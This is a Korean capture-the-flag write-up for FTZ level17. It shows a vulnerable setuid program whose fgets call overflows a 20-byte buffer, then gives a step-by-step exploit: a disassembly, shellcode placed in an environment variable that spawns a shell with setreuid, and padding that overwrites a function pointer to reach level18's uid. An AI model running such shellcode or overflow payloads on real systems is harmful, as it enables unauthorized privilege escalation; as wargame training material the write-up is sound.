FTZ level17
문제
[level17@ftz level17]$ cat hint
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
[level17@ftz level17]$
- call() 함수는 printit() 함수의 주소를 가지고 있다.
- buf의 크기는 20이다.
- fgets() 함수를 이용하여 최대 48byte만큼 buf에 입력받는다.
- 권한을 설정한다.
- call() = printit() 함수를 실행한다.
취약점
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
fgets()함수로 입력받는 크기가 buf의 크기보다 크기 때문에 메모리를 덮어쓸 수 있다.
익스 코드
환경 변수로 쉘코드를 올려둔 뒤 call함수의 주소를 우리가 올려둔 쉘코드의 주소로 바꾸어 주면 되겠다.
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>: push ebp
0x080484a9 <main+1>: mov ebp,esp
0x080484ab <main+3>: sub esp,0x38
0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>: sub esp,0x4
0x080484b8 <main+16>: push ds:0x804967c
0x080484be <main+22>: push 0x30
0x080484c0 <main+24>: lea eax,[ebp-56]
0x080484c3 <main+27>: push eax
0x080484c4 <main+28>: call 0x8048350 <fgets>
0x080484c9 <main+33>: add esp,0x10
0x080484cc <main+36>: sub esp,0x8
0x080484cf <main+39>: push 0xc1a
0x080484d4 <main+44>: push 0xc1a
0x080484d9 <main+49>: call 0x8048380 <setreuid>
0x080484de <main+54>: add esp,0x10
0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>: call eax
0x080484e6 <main+62>: leave
0x080484e7 <main+63>: ret
0x080484e8 <main+64>: nop
0x080484e9 <main+65>: nop
0x080484ea <main+66>: nop
0x080484eb <main+67>: nop
0x080484ec <main+68>: nop
0x080484ed <main+69>: nop
0x080484ee <main+70>: nop
0x080484ef <main+71>: nop
- ebp-16에 printit()주소 위치
- fgets() 함수 ebp-56에서 부터 입력
A를 40byte만큼 채운 뒤 환경변수 쉘코드 주소로 ebp-16을 변조하면 된다.
[level17@ftz level17]$ export env=$(python -c "print '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'")
[level17@ftz level17]$
[level17@ftz tmp]$ ./env
bfffff57
[level17@ftz level17]$ (python -c "print 'A'*40 + '\x57\xff\xff\xbf'";cat) | ./attackme
id
uid=3098(level18) gid=3097(level17) groups=3097(level17)